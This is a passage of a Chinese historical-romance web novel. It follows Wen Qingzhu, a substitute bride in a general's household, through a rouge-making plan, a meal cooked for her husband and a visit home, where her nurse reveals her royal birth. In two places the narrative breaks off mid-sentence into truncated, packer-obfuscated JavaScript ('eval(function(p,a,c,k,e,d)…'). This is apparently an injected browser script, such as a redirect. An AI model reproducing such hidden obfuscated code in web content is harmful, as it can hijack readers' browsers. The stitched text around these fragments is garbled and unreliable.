果不其然,还没到茶肆,远远地就看见纪良衡在茶肆近旁的空地上来回踱步,似是已经等了很久了。 温轻竹快步走了过去,充满歉意道:“纪公子,不好意思,我来晚了,家里有些事耽搁了。” “来了就好。”纪良衡连忙迎上前来,语气担忧,“是出了什么事吗?” “没什么,已经解决了。”温轻竹掩饰道。 她暂时还不知将军府与尚书府立场是否一致,不好向他透露什么。再加上上次看见萧丞原对纪良衡带有明显的敌意,倘若萧丞原知晓她将法恩寺发生的事告诉后者,恐怕只会更加厌恶自己。 “温姑娘,你没有说实话。”纪良衡一下子就点破了,看见她吃惊的表情,又道,“知道我是怎么看出来的吗?” “你在紧张的时候会不停地眨眼,上次惊马一事在下就看出来了。” 见瞒不过去,温轻竹只好说道:“纪公子,不是我信不过你,只是有些事知道了对你没什么好处。” “而且我也有自己的难处,希望你能理解。” “是为了萧小将军吗?”纪良衡笑容苦涩。 那日见温轻竹被萧丞原拉走,他魂不守舍了好久,回去后才查明萧丞原身份,自是又失落了好长时间。 温轻竹没有否认。 “抱歉,是我多嘴了。”意识到自己的失态,纪良衡很快调整过来,恢复了以往谦和有礼的笑容,“既然答应了要帮助姑娘,纪某定不食言,请姑娘稍坐,喝杯茶润润嗓子,我们再详谈之前商定好的事情。” 虽然他不明白,温轻竹既然已嫁入将军府为何又会缺钱,回去细想之后她先前的说辞也是是漏洞百出。但转念一想,也许她在将军府过得并不好,才自己出门找赚钱的路子呢?那这个忙他非帮不可了。 不管是什么原因,她至少还需要自己,这样一想,他心里好受多了。 温轻竹对他施了一礼:“真的多谢纪公子了。” “姑娘不必这般客气。”纪良衡心里有些不是滋味,她到底还是对自己有所戒备,没把自己当朋友。 温轻竹 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“这是蔻丹。”纪良衡只需粗略看一眼便知晓瓶子里装的是什么,稍微一想便明白温轻竹的想法,失笑道,“温姑娘是打算自己制作蔻丹,销往世家贵族府上?” 他连连摇头,在心里叹息道:究竟是有多大的难处,才把她一个千金小姐逼成这样? 温轻竹含笑点头:“对!所以我想知道,这蔻丹是用什么制成的?” “是千层红。”纪良衡温声告知,“首先要采摘颜色鲜艳的花瓣,以大红、紫红或玫红为最佳,而后将花瓣捣碎,取少量明矾混合,再捣为糊状,如此就制成了蔻丹。” 温轻竹语气雀跃:“那还挺简单的。” “可难在这千层红不好找,它偏好潮湿、隐蔽的环境,多生长在林缘、溪谷旁,采摘恐有危险。是以,一般的脂粉铺多去找山民收购,并不自己寻找。也有些花农自家种植培育的有,倒省了不少麻烦,不过这些花农多半定期向固定的脂粉铺出售,几乎不会对外单卖。” 温轻竹闻言,失落了一瞬,饮尽杯中茶,感叹道:“纪公子真是博闻强识,连女子用的物事都研究得这般透彻,我要是有公子一半聪明就好了。” “有什么用?在我爹看来,尽是些没用的东西。”纪良衡自嘲地笑笑,随后转移话题,“对了温姑娘,你要是有什么难处尽管开口,只要我帮得上忙,一定在所不辞。” “好的,我记下了。”眼见天色不早,温轻竹便起身告辞。 “姑娘稍等,”只见纪良衡进了茶肆内间,不一会手上捧着个方方正正的木匣出来了,“这便是姑娘近日要抄的书,书铺那边给了五日时限,不知姑娘能否抄完,若是不能,我待会儿再与友人商议着再宽限几日。” 温轻竹接过木匣,见里面只是厚度适中的两本书,谢绝道:“不用了纪公子,五日可以的,烦请公子转告书铺掌柜,我会按时抄完的。” “好,姑娘也别急着赶工,千万别累到了。” 温轻竹点点头,拿着木匣正要走,想起什么,转身看向纪良衡,“劳烦纪公子打听一下哪些脂粉铺需要蔻丹,赶明儿我按公子的法子制好了还需先找铺子试试。” 虽然千层红难找,但她还是想试一试,不想放过这个新商机。她知道达官显贵买绫罗绸缎、胭脂水粉最看招牌字号了,若是她的蔻丹先在铺子里卖出了销量和名声,自然就不愁往那些贵人府里卖了,如此赚的钱岂不是比自个儿直接卖翻了好几番。 纪良衡不知道她的这些想法,只是觉得她太努力了些,心里更增添了几分对她的心疼,自是满口答应:“好,我一定多帮姑娘打听,若是有千层红的消息,也会告知姑娘的。” “时候不早了,姑娘回家注意安全。” “嗯,纪公子也早些回去。”温轻竹礼貌回道,随后便带着木匣去找玉露。 主仆俩走出去老远,纪良衡还立在原地,许久没有回神。 24. 交锋 因着萧丞原不在,温轻竹轻轻松松便把装有书的木匣带回了东院,趁着难得的清闲日子,在房间里抄起了书。 玉露不识字,不过她也知晓,伏案抄书时间久了对眼睛不好,隔一会便来劝自家姑娘休息一下。 这日午后,温轻竹打开窗户,一边感受徐徐拂面的微风,一边抄着书,时而看看橘白扑蝶。这猫儿是自己跑进将军府的,初时浑身脏兮兮的,一看就是饿狠了,温轻竹见它可怜,便令丫鬟给它喂了食,洗了个澡,结果反而赖在这里不走了。 这猫儿浑身橘白相间,大部分都是白的,只头上和肚子上有点点橘色,洗干净后瞧着愈发可爱机灵,那双圆溜溜的眼睛透着几分可人,又胆怯又警惕,有人走动靠近便会呲牙。 温轻竹向来喜爱小猫,见它不排斥自己,就在东院养了下来,瞧着它一日日长大,日渐憨态可掬的模样,心中亦是十分欢喜。 左右这书快抄了一半,也不急着交付,温轻竹将其随意摊开在桌上,拿了毛线团就去花丛中逗小猫。 “小吉,快过来!”温轻竹唤着猫儿的名字,同时挥了挥手里的毛线团,想引它过来。 “小吉”是她取的名字,当时玉露还说这名字有点俗,别家的猫儿都叫什么“白雪”“冰魄”之类的,而她只是笑着说道:“小吉是误打误撞选了这儿,希望它能快快乐乐长大,日后遇事也能逢凶化吉,同时它的到来也是个吉兆,我们以后都会越来越好的。” 小吉扑了好一会蝴蝶都没有扑到,这会子正懒洋洋地躺在花丛里舔毛,听主人唤了好几声才起身,慢悠悠地踱着步子。 看着小吉走近,温轻竹将毛线团往前推了推,“小吉,给你。” 小吉试探性地伸爪碰了碰,而后欢快地玩了起来,温轻竹亦是蹲下,有时把毛线团拿走逗逗它,这是小吉则看准时机,趁主人不备,猛地一爪拍下毛线团。 温轻竹正和小猫玩得不亦乐乎,突然小吉却停下了拨弄毛线团的动作,浑身炸毛,弓起脊背,尾巴也开始摆动起来,它双眼瞪大,盯着某个方向,张开嘴呲着牙。 “怎么了,小吉?”温轻竹暗自纳闷,东院上下都喜欢小吉,下人们还时常给它加餐,除了才来的时候,应该不会有人再令它如此戒备。 “夫人好雅兴!” 听到熟悉的声音,温轻竹本能地浑身一僵,随后克制着缓缓起身,转过去,努力扬起一个微笑:“少将军,你回来了。” 再往先前的草丛看时,小吉早已不在原地,多半是躲了起来,地上只剩一个毛线团孤零零的。 萧丞原向来不喜这些小动物,但对温轻竹将其养在院子里不予理会,只是这猫儿似乎能嗅到他身上危险的气息,每次隔着老远感知到他来了都会炸毛。 “几日不见,夫人倒似比之前更加活泼了。” “哪里,让少将军见笑了。”温轻竹连忙回道,也不知方才被他看了多久,脸上很快浮起一阵红晕,不大自在地问起重要的事情,“那案子可是结了?” “还没有,”萧丞原收敛了笑意,“殿下说此案甚是棘手,稍后会让大理寺接手,允我先回家待两日。” 想起上次查到的事情,他看着妻子,眼神复杂,“我真是越来越看不透你了。” 按照她的性子,替嫁进将军府,想来应当是极不情愿的,可到底是无可奈何,怎么着也应该表露几分不满吧。 可她不同常人,竟事事顺着他,还时不时关心自己,让他硬生生习惯了她的存在,渐渐软化了他的心,令他也不好再恶语相向,甚至有时生出了逗弄她的心思,想看她紧张或是害羞的神情。 温轻竹不好细究他话中含义,当作没听见,岔开话题道:“少将军这几日在法恩寺忙碌一定辛苦了,快进屋坐着歇息,待会儿我命人烧点热水,你也好沐浴更衣解解乏。” “还是夫人想得周到。” 萧丞原爽朗一笑,率先跨着大步往屋内走。 男人宽肩窄臀,身形流畅,仅从背影就可以清楚感受到他守卫疆域的蓬勃力量。 温轻竹却绷起了精神,无暇顾及其他。 萧丞原进屋坐下后,没有先接过丫鬟端来的茶水,反而挥退下人,状似随意道:“你这几日可回侯府见过你爹娘?” “没有,”温轻竹攥紧手心,想着莫不是他察觉到了什么,随后又想起上次回门时他说过的话,便道,“少将军不是说过,要少与他们来往?” 觑了眼男人的神色,怕这话惹他不快,顿了顿,又道:“虽说我自幼在侯府长大,可父亲和母亲毕竟也有自己的事,我既已嫁入将军府,怎好再时常回去叨扰。” “听你这话的意思,是想回去探望二老吧。”萧丞原盯着桌上的杯盏,若有所思,“既然殿下准了我回家休息几日,不如明日我便同你一道回侯府。” 的确,她是有些想回侯府了,不过不是想见侯爷夫妻二人,而是担心李嬷嬷一个人在侯府过得怎么样。留她一人在侯府,心里实在有些不踏实,本想过几日再回侯府的,没想到萧丞原竟主动提出,如此也省了不少事,只是她不明白的是,他如今对侯府怎的如此热络。 这样想着,便问出了口:“少将军也去吗?” “怎么,夫人是不想我陪你回侯府探亲吗?”萧丞原抬头,眼神深邃而又犀利,仿若直视人心,照见她心底每一寸缝隙。 温轻竹只觉心慌,目光闪避了下,“怎么会,我高兴还来不及呢。” “不过,少将军今日回来,有没有向母亲问安?母亲这些时日可是担心得不得了,整日在院子里叹气,连餐食都用的少了许多。” “你对母亲倒是孝顺,”萧丞原想到什么,放低了声量,似在埋怨,“只是你知不晓,又该如何对夫君?” “应当是……知道的。”温轻竹说的磕磕巴巴,脸也红了大半。 她好像听李嬷嬷说过,成婚后女子是要侍奉夫君的,除了日常饮食起居,还有床笫之事…… 难道他指的是后者? “在想什么呢?”萧丞原见她脸红得很,知是想到了别处,一时也不大自在,轻咳了一声,“我是说,你已经很久没有亲手给我做吃食了。” 温轻竹一愣,自从上次温尚达给了她五石散,让她下在吃食里,她已经很久没有亲手做过吃食了。 虽说她不打算昧着良心干坏事,在院子里挖了个坑,悄悄把五石散倒了进去,但也一时难过心里那关,总觉得有那么几分愧疚,再加上近期事情很多,她也没有心力与时间去做花样百出的美食。 “看你一脸为难,是不想做吗?” 正在出神间,萧丞原又问了一句。 “没有没有,少将军误会了。”意识到失态,温轻竹慌忙道,见他杯中已空,忙为他又续了茶水,“我方才只是在想,待会儿做什么吃食才好。” “是吗?”萧丞原拿起茶杯,意味深长道。 温轻竹连连点头,正要在说些什么糊弄过关,却见丫鬟过来禀报。 “少将军,少夫人,热汤已备好,可需要人伺候少将军沐浴?” 萧丞原饶有兴味地瞥了温轻竹一眼,并不答话,只是暗示意味明显。 温轻竹加快语速道:“少将军,你先沐浴,我去厨房准备吃食了。” 说完,便快步走出了房间,看那背影竟似落荒而逃。 那丫鬟还等着主子吩咐,低着头,眼睛盯着脚尖,一动都不敢动,她惧怕这位少将军。 萧丞原盯着一闪而过的裙袂,放下杯盏,与桌面相撞,发出“咚”的一声,“不用了,下去吧。” “是,少将军。”丫鬟如蒙大赦,几乎是小跑着出了房间,身影很快消失在院子里。 -- 夏日暑气重,院子里郁郁葱葱的银杏、樟树、梧桐都遮不住铺天盖地的热,天地像是成了个大蒸笼,直把人蒸得胸闷气短,走两步就大汗淋漓。 温轻竹思索了片刻,便决定做绿豆汤,清热解暑,好喝又润嗓。 她先是舀了些绿豆,放在水中清洗干净,并浸泡小半个时辰,待被虫蛀空的绿豆漂浮起来,便挑出扔掉;之后便加清水入锅煮,待绿豆煮熟,放入事先备好的冰糖,熬煮一炷香左右便可出锅。 这是她和李嬷嬷学的法子。 不过夏季天热,冰镇过的绿豆汤更好喝,煮好的绿豆汤盛出锅后,温轻竹让玉露尝了尝,便放在一边等它晾凉了再加冰。 “姑娘,你做的绿豆汤真好喝,为什么不现在就喝啊?”玉露眼巴巴看着青竹梅纹大海碗里盛的绿豆汤,不解道。 温轻竹一看便知她在想什么,笑道:“别急,做成冰镇的更好喝。” “那好吧。”玉露自觉不能干等着吃食不做事,见自家姑娘仍在忙碌,主动问道,“姑娘还有什么需要我做的吗?” 温轻竹正将糯米粉和白糖搅拌均匀,闻言道:“你去采些薄荷叶来吧。” 将军府除了几棵上了年头的松柏,也就花园里栽了几株月季之类的花卉,自从温轻竹来了后,院子里花草渐渐多了起来,这薄荷也是她命丫鬟种下的。 “姑娘是要做薄荷糕吗?”玉露心神一动,便猜到自家姑娘接下来要做的糕点了,顿时打起了精神,“我很快就回来!” 说着,眨眼间人就跑没影了。 温轻竹又命小丫鬟拿了橙子、螃蟹并其他食材,这个季节的蟹几位鲜美,她想再做个蟹酿橙。 待玉露采好薄荷叶回来,蟹酿橙已入锅蒸了,锅里飘出丝丝缕缕的香味,直把玉露馋得嗅了又嗅,边嗅边随口说道:“好香啊,姑娘厨艺真好,即便以后离开将军府了,去开个食肆也一定能赚大钱吧。” “开食肆?”温轻竹停下手中的动作,遐想了一番,眼睛亮了,“是啊,若以后没钱了还能开食肆!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“少将军也喜欢看这种书?” 她原本以为萧丞原只对兵书感兴趣,不会看这种不入流的闲书。 “偶尔看看。”萧丞原说着,把书合上放在一边,扫了一眼桌上的吃食,问道,“都是你自己做的?” 温轻竹道:“许久没做了,少将军尝尝看合不合口味。” “不错,比厨娘做的还好吃。”萧丞原一一尝过后,打趣道,“只在府里做少夫人,怕是屈才了。” “少将军说的哪里话。”知他是在开玩笑,想来心情还不错,温轻竹便试探着问出想了许久的问题,“劫走母亲和杀害弘让法师的人,可有查到什么线索?” “怎么突然想起问这个?”萧丞原停箸,皱起眉头,“此人甚是缜密,没有留下任何痕迹,只是殿下说此案恐怕并不简单,也许已有些眉目了吧。” “那少将军觉得是何人所为?”温轻竹继续问道。 “恐怕是大殷的内贼,与那北狄细作里应外合所为,如今我大殷佛法盛行,杀掉一个得道高僧,对大殷的打击不可谓不大。” 温轻竹一惊,手中筷子“啪嗒”一声掉落在桌上,“什么?” 那晚温尚达的出现着实可疑,她那时就想此事可能与他有关,此番不过是想问问萧丞原有没有查到什么,她也好早做打算。他虽还未查清,可他的猜测竟如此接近真相。这是不是意味着,他很快就会查到温尚达头上了?那她替嫁之事万一被暴露,将会是怎样的下场? “我不过随口一说,还没有证据。”萧丞原睨了她一眼,“你为何如此激动?” “哦,我是觉得这歹人实在可恶,通敌叛国,残害得道高僧,简直是罪大恶极。”温轻竹说着,气息渐渐平稳下来,又接着道,“少将军一定要把这歹人揪出来,处以极刑,如此才可为弘让法师报仇,以平民愤。” 萧丞原沉声道:“那是自然,若抓住此人,必定让他先在钉子地上走一遭,再下油锅滚一道。” 他每说一个字,温轻竹的心就跟着一颤。 他的手段这般残忍,倘若有朝一日知晓自己是替嫁的,且温尚达还命她毒杀他,岂不是也对自己痛恨至极,各种残酷手段齐上? “这是怕了?”萧丞原逼近,捏住少女下颌,命她看向自己,“不过不要紧,这些刑罚只针对穷凶极恶之徒,身边人只要不背叛欺瞒我,就不会有机会见识这些,但若是生了异心想害我,那自然没有好下场。” 他松开了手,又道:“夫人觉得,我说的有没有道理?” 温轻竹呼吸了一口新鲜空气,“有道理,有道理。” 方才听着他说的话,真有些呼吸困难了,再想起传闻中被他折磨致死丢出军营的女子,温轻竹感到不寒而栗。 25. 信物 翌日,用过早食,萧丞原便陪着温轻竹回侯府。 萧丞原出行一向是骑马的,可他今日并未让牧方将自己的马牵来,而是站在马车前。 温轻竹先上的马车,玉露紧跟着也上来了,原本还想着和自家姑娘商量商量,回侯府后怎么应对那一家子人,可却听到牧方叫自己。 “玉露,玉露!”牧方叫了两声,语气有些急,可顾及着少夫人在马车上,也只能耐心等着。 玉露掀起车帘,问道:“什么事?” “你先下来。”牧方压低了声音,眼神往旁边瞥了下,“这马车是主子坐的。” “那好吧。”玉露不情愿地下了马车。 唉,还以为这次能陪姑娘坐马车少走点路了,没想到她还是得和牧方一样靠自己,不,牧方会骑马,她不会……真是人比人,气死人。 片刻后,萧丞原果然掀帘而入。 温轻竹见他上来,往旁边让了让,小心翼翼开口道:“少将军难得有空,将军府和军营还有许多事务等着你,其实不必花费时间陪我回侯府的。况且,母亲这段时日老念叨你,应当多抽时间陪陪她。” 眼下她已清楚温尚达让她替嫁到将军府的目的,虽不知他为何要残害萧丞原这般一心为国为民的忠良,可她也知道,如今让萧丞原出现在温尚达面前只怕会有危险。 “无妨,陪夫人回侯府探亲是理所当然的事。”萧丞原顿了顿,继续道,“更何况,许久未见岳丈大人了,也是时候该与他叙叙话了。” “少将军说的是,父亲也一定很想见到少将军的。”温轻竹硬着头皮道。 罢了,一味相劝只能令他生疑,更何况他还不曾信任自己,相信以他的能力未必不能识破温尚达的计谋。 萧丞原下了令,马车开始缓慢行驶起来。 到安定侯府还有一段距离,两人就这样干坐着也不是法子,温轻竹想起某人,便问道:“少将军此次回来,可去看了崔姑娘?” 她是早晚药离开将军府的人,可她到底还是萧丞原的正妻,问问与他情投意合的表姑娘,也不算僭越吧。她只是有点好奇两人之间的情感状况,毕竟她也不想在攒够钱离开之前落得不体面。 “崔怜霜,你问她干嘛?”萧丞原眼神探究,并未给她准确的答案。 看来他对她回护得很紧,温轻竹感觉自己提起的心瞬间跌进谷底,如石头沉入湖底,“咚”的一声,在湖面泛起层层涟漪。有那么一瞬间,她的心抽疼了一下,自己在心底自嘲道:真是自取其辱。 温轻竹强忍着不适,收起低落的情绪,“没什么,我只是想着,崔姑娘待母亲一向敬重,经常陪母聊天,也深得母亲喜爱。” “你到底想说什么?” 萧丞原莫名其妙地看着她,总觉得她话里有话似的。 温轻竹被他逼着不管不顾说出来:“我觉得,少将军应该感谢她陪伴母亲。” 感谢她?萧丞原深深看了少女一眼,说实话他现在都被崔怜霜烦死了,想到她就没有好脸色,便据实说道:“我给母亲问安的时候,见着她好几回。” 三回里有两回她都借口有事先行离开,故意在回去的路上藏着堵他,令他烦不胜烦,但这点小事他也不好麻烦母亲,每次忍耐着等牧方叫来几个仆人候着,她待不下去了才走。 “这样啊,表姑娘对母亲的事还真上心。”温轻竹顺着他的话道。 果然,她就不该问的,她其实根本没有资格问吧,一问他就阴沉着脸色,果真是触碰到他的逆鳞了。 她有一些难过,这情绪来得莫名,明明她已经打算要离开将军府的,为何还会在意这些呢?也许,如若她没有替温紫衣嫁进来,侯府的少夫人应该是崔怜霜吧,说到底二人两情相悦,她就是个多余占了旁人位子的。 这样想着,明明心里跟细密的小刺扎着似的,温轻竹脸上仍竭力保持着平静,不让男人看出她的异样。 “哼,”萧丞原冷哼了一声,瞧着她这毫不在意的样子,简直要被气笑了,“你知道她住在这儿,整日在母亲跟前晃悠,是什么意思吗?” 他不信温轻竹这般迟钝,放任这个隐患不管,将自己推给别的女人。 “崔姑娘身世凄惨,如今算是寄人篱下,自然要多与长辈走动。”温轻竹忍住心中的不适,一板一眼道。 她搞不懂他问自己这话是什么意思,难道是提前打探自己口风吗?她可没往,上次在法恩寺,吴雪离被找回来后,她去探望,他是如何与崔怜霜柔情蜜意的。 眼下她才刚刚开始攒钱,想来还需要一段时日才能离开将军府,少不得多顺着萧丞原一些,他想自己如何说她便如何说吧。 说起来,出嫁时侯府送来的嫁妆颇丰,若换成银钱也能用个三年五载,可吴雪离执掌中馈,为了不让人生疑,她也不好支取出来换钱,只能靠自己慢慢赚钱了。 萧丞原深深看了他一眼,咬牙切齿道:“你说的都对。” 而后调整了下坐姿,侧着身子脸偏向一边,竟是看都不看她了。 这是生气了?温轻竹不知道哪里说错了,竟把他气成这样。 他不说话,她也不再自讨没趣,只时不时拉开车帘看看到哪里了,好在如今离侯府已经很近了,她就快见到李嬷嬷了,想到这里,心中的郁结堵塞也去了大半。 -- 马车甫一停在安定侯府门前,萧丞原便率先下了马车,冷着脸站在一边。 温轻竹随后也掀帘而出,候在马车旁的玉露连忙过来搀着自家姑娘下车。 见二人气氛紧张,玉露投以探询的眼神,而她家姑娘只是轻轻摇了摇头,这下她更是摸不着头脑了,明明走的时候少将军还特意把自己赶下来,她以为他会和姑娘好好相处呢,这又是在闹哪样? 再看看牧方,他亦是面无表情立在少将军身后,不知道的还以为是雕像呢,真是有其主必有其仆。 安定侯府的守卫见着从马车下来的人,一早就进去通传了,没一会儿温尚达一家便整整齐齐地出来迎接。 温尚达笑着迎上来,只是笑意不达眼底,“听闻少将军近日在法恩寺协助太子殿下查明弘让法师被害一案,怎的今日有空陪小女回来探亲?” “侯爷消息真灵通,”萧丞原与他周旋着,同样嘴角噙着笑,“只是这歹人实在狡猾,目前尚未查出头绪,殿下允我先回来休息几日,听轻竹说想你们了,我哪有不跟着一起回的道理呢。” “小女性子娇,少将军就是太惯着她了。”温尚达说这话时,瞟了温轻竹一眼。 那骆宜秋母女站在一旁,见温轻竹如今这待遇,自是没什么好气,只是碍于萧丞原在,到底没说什么。温紫衣今日倒是寻常打扮,并不像以往那般出挑,许是被温尚达训斥狠了,再不敢生出不该有的心思。 温轻竹听他们一来一回半真半假地周旋着,早已没了耐心,眼见李嬷嬷在不远处等着,忙几步上前去。 “哎,还有没有规矩了?爹爹和娘亲还在这呢,哪有绕过爹娘先与下人亲热的道理。”温紫衣正一肚子气没地发,时刻盯着这个攀上高枝的冒牌货,见此情景说话没了分寸。 温尚达脸色铁青,斥责着平日里疼爱备至的女儿:“这儿有你说话的份吗?” 而后一脸尴尬道:“让少将军见笑了,都是老夫惯坏了紫衣,轻竹这孩子从小是李嬷嬷带大的,与李嬷嬷亲厚些并无什么不妥。” “无妨,只要没有打扰到轻竹就好。”萧丞原并不接话,而是故意说道。 这温紫衣为人他上次已有所领教,简直是没有教养,行事嚣张跋扈,口无遮拦惯了的,他没有必要装做大度谅解的姿态,况且她从前也没少欺负温轻竹。 骆宜秋却是不乐意了,拽了下温尚达的袖子,嗔道:“侯爷,紫衣还小,你怎么能这么说她呢。” “你还有脸说,都是你惯坏的。”温尚达脸都憋成了猪肝色,又不能在外人面前发火,只得向萧丞原做了请的手势,“少将军难得来一趟,快请进府,待会儿可要尝尝我这月新得的六安瓜片。” 温轻竹并不理会那一家子人闹出的动静,直奔李嬷嬷而来。 “嬷嬷,这段日子让你在这受苦了。”她抚摸着李嬷嬷鬓边多出的白发,只感到无比心酸。 李嬷嬷亦是泪眼婆娑,伸出粗糙如松树皮的手,握住了温轻竹,这个她从襁褓里带大的孩子,说道:“老奴没事,看到姑娘如今过得好,我受再大的苦都值得。” 温轻竹闻言,眼里泪花闪烁,自是不敢在李嬷嬷面前流露分毫委屈神情,一股酸涩带着些微的痛意涌向鼻尖,她吸了吸鼻子,“嬷嬷,我现在过得可好了,将军府上下都很喜欢我,你就别再为我操心了。” “嬷嬷,你就等着我接你去过好日子吧。” 李嬷嬷欣慰地笑了,不过却道:“老奴这么大年纪了,在哪都是一样的,只要姑娘好就什么都好。” “好了,嬷嬷,外头热,一会太阳就大了,咱们先进去说。”温轻竹见众人陆陆续续踏入了侯府,也搀着李嬷嬷往里走。 李嬷嬷年岁大了,再也不复以前的光景,走起路来颤颤巍巍的,背也有些驼了,温轻竹只得搀着她慢慢走。 不知怎的,她总觉得嬷嬷好似比她上次回门时还老了许多,精神头儿也大不如前。 温轻竹心疼道:“嬷嬷,你在侯府过得好吗?他们有没有为难你?” “挺好的,最近侯爷和夫人还时不时关心老奴身体,前几天还给老奴送了好些补品呢。”李嬷嬷慢慢说着,眼里带着笑意,“说到底,还是姑娘如今出息了,他们看在姑娘面子上关照我,老奴也是沾了姑娘的光了,一把年纪也做不了什么,本就是个闲人,竟还能得了主子的恩惠。” 恩惠?温轻竹听了,心里咯噔一声,她在侯府生活了十几年,安定侯夫妇岂是那般菩萨心肠的人,何时这般优待下人过?更何况还是个年老体衰的嬷嬷。 但怕嬷嬷多想,温轻竹并未言明,只静静听嬷嬷慢慢述说着欢快的心情。 “要我说还是当年这一搏值得,让姑娘有了如今的造化。”李嬷嬷回忆着当年费尽心思让安定侯收养姑娘的事情,絮絮叨叨说了起来,平日里府里人嫌她啰嗦,没人搭理,姑娘回来了,可算有人听她说话了。 再看看姑娘如今的穿戴,更是满意非常,连带着对萧丞原亦很满意,“老奴打听过,那萧家的小将军年少有为,虽是性子冷了点,但过日子嘛,要慢慢来,姑娘这么好的人,时日久了,是个石头也能捂化了,到时候再回来他们谁敢说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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温轻竹下意识伸手去接,却在看清是什么后愣住了,李嬷嬷手上赫然是一个鎏金莲花珍珠嵌玉镯,这镯子通体气派,采用鎏金工艺,镂刻莲花缠枝纹样,其上镶嵌了一圈苏梅色的碎玉,镯子正中是几颗莹润光滑的珍珠。 这镯子绝非寻常人家会出现的东西,连骆宜秋这么爱打扮的都没见她有一件首饰比得上的。况且从小到大她也随着骆宜秋参加过不少世家大族的宴会,对女子的首饰多少也有些了解,她也从未见过哪位公卿贵族的夫人或女儿戴过这种首饰撑场面。 “嬷嬷,这镯子你是哪来的?”温轻竹瞪大了眼睛,不敢置信道。 “这是你娘亲留下的信物,”李嬷嬷语气伤感,望着手中的镯子,陷入了十几年前的回忆中,“当初形势所迫,你娘亲有生命危险,情急之下只得含泪将你托付给了我,命我带着你走,远离尔虞我诈的环境,做一个普通人。” 温轻竹愣住了:“所以我娘亲不是不要我,而是迫不得已?” 李嬷嬷点点头,慢慢述说着:“你娘亲是宫里头的娘娘,与皇上自小相识,也算是青梅竹马,当时皇上也只是个不受宠的皇子,而你娘亲只是末流文官之女,两人因意外结识,本来等皇上封了王爷,可以娶你娘亲当王妃的。 “可后来太子在战场上被敌国将军所伤,不治身亡,众皇子为夺权闹得鸡犬不宁。只有当时最不受宠的皇上什么也没干,一切如常,便引起了先皇的注意,一问之下,才知道皇上文韬武略,是治国之才,便将皇位传给了皇上。 “这一切从皇上迎娶了皇后开始,宫里进了一个又一个的女人,你娘亲便不大想进宫了。但皇上再三承诺会一心一意待她好,将她娶进宫封为了娴妃,将各种奇珍异宝都赐给了你娘亲,令她一时宠冠六宫,遭了嫉妒…… “后来,趁着皇上御驾亲征之际,皇后联合了几个妃嫔想对娴妃娘娘不利,当时你才刚满月,怕她们对你下毒手,娘娘便把你交给了我,放了一把大火,逼退了那群人……” “那娴妃娘娘……我娘亲呢?”温轻竹话说到一半,想起娴妃正是自己娘亲,又顿了顿才把问题问完整。 “老奴也不知晓。”李嬷嬷叹了口气,不敢说多半已遭遇不测,只是接着把后面的事讲完,“老奴抱着姑娘从密道出宫之后,几经波折,寒冬腊月的走投无路才投奔了安定侯府,费了些口舌让侯爷收养了姑娘。” 后面的事其实不说她也知道,温轻竹终是接过镯子,细细摩挲着,想象娘亲的模样,“那嬷嬷为何不早点告诉我?” “以前姑娘年岁小,告诉姑娘怕您藏不住事儿,让侯府里人知道了恐怕对您不好。” 皇室血脉流落在侯府,还被他们一直苛待,安定侯夫妇若知晓此事,恐怕不会让她顺利认亲,反而可能会杀人灭口吧。 想到这个可能性,温轻竹摇了摇头,她不是没有尝试过那两人的狠毒手段。 “如今见姑娘嫁入了将军府,人也有气色多了,老奴知道这是个好归宿,姑娘以后有依靠了,将这事告诉你也就没什么顾虑了,说不准日后萧小将军还能帮你认亲呢。”李嬷嬷说出尘封多年的心事,心里舒坦多了,如今就一心盼着姑娘越来越好。 温轻竹点点头,并没有顺着李嬷嬷的话往下说,而是道:“认亲的事以后再说吧,这镯子既是我娘亲的,我一定会收好的。” 听了李嬷嬷一番话,她只觉寒心,没想到娘亲的命这么苦,早知如此,她宁愿自己只是生在平凡人家的普通女子,一家子过着幸福安宁的日子。 帝王薄幸,而她嫁的又会是良人吗?她怎敢将自己的秘密倾吐出来,将身家性命交到旁人手上,求他帮自己认亲呢。 26. 劝说 温轻竹将镯子包好,轻轻地放进了袖袋里,不管以后怎样,只要有娘亲留下的信物,再苦再难她都不怕。 只是眼下,她还需确认一件事。 “嬷嬷,你说前几日他们给你的补品,在哪呢?”温轻竹急切问道。 李嬷嬷很快拿来了个木箱,打开后温轻竹发现药材还不少,有当归、鹿茸、人参、熟地黄、燕窝、灵芝等,这些大多是补气血的,能够强身健体,可她总觉得事情没那么简单,不说别的,骆宜秋首先就不同意把这些好东西给李嬷嬷吧。 他们真有那么好心,还是另有所谋? 温轻竹每种药材都放在鼻尖嗅闻,暂时没有发现异常,她便将每样药材都取了一些,用手帕包起来,打算回去后去外面找靠谱的大夫验验看。 上次在法恩寺,温尚达敢拿李嬷嬷威胁自己,必定有所动作,她小心谨慎些总没错。 “嬷嬷,你还是随我去将军府吧,在侯府也没个照应,我很担心你。”温轻竹拉着李嬷嬷的手撒娇,“好不好嘛?” 她一向坚强,很少有撒娇的时候,可李嬷嬷依旧不为所动,推辞道:“老奴都是一把老骨头了,没多大用处了,跟着姑娘去夫家算什么事?别平白让人笑话姑娘。” “人老了,就不想到处挪腾,再说了,如今侯爷和夫人待我挺好的,我一个人在这落得清净。” 这说的倒是她心里话,年纪大的人总觉得自己没了用处,怕给旁人找麻烦,宁愿一个人待着,也不愿接受旁人的帮助。 温轻竹听她这么说,只得作罢。 “那嬷嬷你一定要好好保重,我会抽时间回来看你的。”温轻竹看着她把那一箱子滋补药品放回原处,满脸担心道。 “对了,嬷嬷,这些补品你吃了多少?” 李嬷嬷道:“就煮了一两次,虽说侯爷夫人这回很是大方,还说不够了再找他们取,可这么珍贵的东西,我怎么好一下子用完呢。” “是啊,都是心意。”温轻竹怕她多想,没有明说可能补品有问题,只是道,“嬷嬷缺什么可以和我说,下次我给你带更好的,这些就先放着吧,若是侯爷和夫人问起,你就说用过了。” “好,都听姑娘的。”虽然不知道温轻竹的用意,李嬷嬷还是听了进去。 温轻竹又陪李嬷嬷坐了一小会儿,便听到叩门声。 “二姑娘,侯爷请您过去。” 